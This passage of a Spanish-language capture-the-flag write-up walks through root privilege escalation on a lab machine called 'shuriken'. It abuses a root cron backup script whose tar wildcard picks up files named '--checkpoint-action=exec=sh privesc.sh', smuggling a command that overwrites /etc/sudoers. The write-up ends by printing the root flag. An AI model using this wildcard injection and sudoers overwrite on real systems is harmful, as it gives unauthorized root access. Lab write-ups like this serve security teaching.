/usr/lib/node_modules/pm2/node_modules/cron/lib/cron.js
/usr/bin/crontab
/usr/share/bug/cron
/usr/share/bash-completion/completions/crontab
/usr/share/man/man5/crontab.5.gz
/usr/share/man/man1/crontab.1.gz
/usr/share/man/man8/cron.8.gz
/usr/share/doc/cron
/usr/share/doc/cron/examples/cron-stats.pl
/usr/share/doc/cron/examples/cron-tasks-review.sh
/usr/share/doc/cron/examples/crontab2english.pl
/usr/sbin/cron
/var/lib/dpkg/info/cron.conffiles
/var/lib/dpkg/info/cron.postinst
/var/lib/dpkg/info/cron.postrm
/var/lib/dpkg/info/cron.prerm
/var/lib/dpkg/info/cron.list
/var/lib/dpkg/info/cron.md5sums
/var/lib/dpkg/info/cron.preinst
/var/lib/app-info/icons/ubuntu-bionic-universe/64x64/cronometer_cronometer.png
/var/lib/systemd/deb-systemd-helper-enabled/multi-user.target.wants/cron.service
/var/lib/systemd/deb-systemd-helper-enabled/cron.service.dsh-also
/var/www/html/plugins/clipbucket_helper/admin/cron_jobs.html
/var/www/html/plugins/clipbucket_helper/admin/cron_jobs.php
/var/spool/cron
/var/spool/cron/crontabs
```

```
/var/spool/anacron/cron.weekly
/var/spool/anacron/cron.monthly
/var/spool/anacron/cron.daily
/run/crond.reboot
/run/crond.pid
/sys/fs/cgroup/pids/system.slice/cron.service
/sys/fs/cgroup/devices/system.slice/cron.service
/sys/fs/cgroup/systemd/system.slice/cron.service
/sys/fs/cgroup/unified/system.slice/cron.service
/etc/cron.weekly
/etc/init.d/cron
/etc/cron.hourly
/etc/cron.d
/etc/crontab
/etc/cron.monthly
/etc/pam.d/cron
/etc/systemd/system/multi-user.target.wants/cron.service
/etc/default/cron
/etc/cron.daily

/etc/crontab
```

Si lo leemos veremos lo siguiente...

```
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
*/2   * * * *   root    /var/opt/backupsrv.sh
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report
/etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report
/etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report
/etc/cron.monthly )
#
```

Nos concentramos en esta linea que es la mas interesante...

```
*/2   * * * *   root    /var/opt/backupsrv.sh
```

Si leemos ese `backupsrv.sh` veremos lo siguiente...

```
#!/bin/bash

# Where to backup to.
dest="/var/backups"

# What to backup.
cd /home/server-management/Documents
```

```
backup_files="*"

# Create archive filename.
day=$(date +%A)
hostname=$(hostname -s)
archive_file="$hostname-$day.tgz"

# Print start status message.
echo "Backing up $backup_files to $dest/$archive_file"
date
echo

# Backup the files using tar.
tar czf $dest/$archive_file $backup_files

# Print end status message.
echo
echo "Backup finished"
date

# Long listing of files in $dest to check file sizes.
ls -lh $dest
```

Y sus permisos...

```
-rwxr--r-- 1 root root 530 Sep 19  2020 /var/opt/backupsrv.sh
```

Vemos que tiene una vulnerabilidad `tar` con el `*` por lo que haremos lo siguiente...

URL = https://medium.com/@polygonben/linux-privilege-escalation-wildcards-with-tar-f79ab9e407fa

```
tar -zcf /home/server-management/Documents/backup.tgz toBeBackedUp --checkpoint=1 --
checkpoint-action=exec=sh privesc.sh
```

Esto nos creara una shell con el mismo usuario por lo que veremos que funciona, ponemos `exit` para volver a nuestra shell normal...

Se nos habra creado el siguiente archivo...

```
-rw-r--r--  1 server-management server-management    45 Jun  5 19:41  backup.tgz

echo "" > '--checkpoint=1' && echo "" > '--checkpoint-action=exec=sh privesc.sh' &&
echo 'echo "server-management ALL=(root) NOPASSWD: ALL" > /etc/sudoers' > privesc.sh
&& chmod +x privesc.sh
```

Con esto lo que haremos sera crear un script `.sh` que cuando se ejecute el `tar` ejecutara tambien lo que contiene el `.tgz` que nosotros creamos y a la vez ejecutara el `.sh`...

Y cuando esperemos 2 minutos, veremos lo siguiente...

```
drwxr-x---  2 server-management server-management  4096 Jun  5 19:44  .
drwxr-x--- 20 server-management server-management  4096 Nov  9  2020  ..
-rw-r--r--  1 server-management server-management    45 Jun  5 19:41  backup.tgz
-rw-r--r--  1 server-management server-management     1 Jun  5 19:44 '--checkpoint=1'
-rw-r--r--  1 server-management server-management     1 Jun  5 19:44 '--checkpoint-
action=exec=sh privesc.sh'
-rwxr-x---  1 server-management server-management 35144 Feb 28  2017 'Daily Job
Progress Report Format.pdf'
```

```
-rwxr-x---  1 server-management server-management 33612 Feb 28  2017 'Employee Search
Progress Report.pdf'
-rwxr-xr-x  1 server-management server-management    35 Jun  5 19:24  mi_script.sh
-rwxr-xr-x  1 server-management server-management    65 Jun  5 19:44  privesc.sh

-rw-r--r--  1 server-management server-management     1 Jun  5 19:44 '--checkpoint=1'
-rw-r--r--  1 server-management server-management     1 Jun  5 19:44 '--checkpoint-
action=exec=sh privesc.sh'
```

Con ver eso significa que salio bien, por lo que si hacemos `sudo -l` veremos lo siguiente...

```
User server-management may run the following commands on shuriken:
    (root) NOPASSWD: ALL
```

Por lo que haremos...

```
sudo su
```

Y con esto ya seremos `root`, ahora leeremos la flag...

root.txt (flag2)

```
d0f9655a4454ac54e3002265d40b2edd
```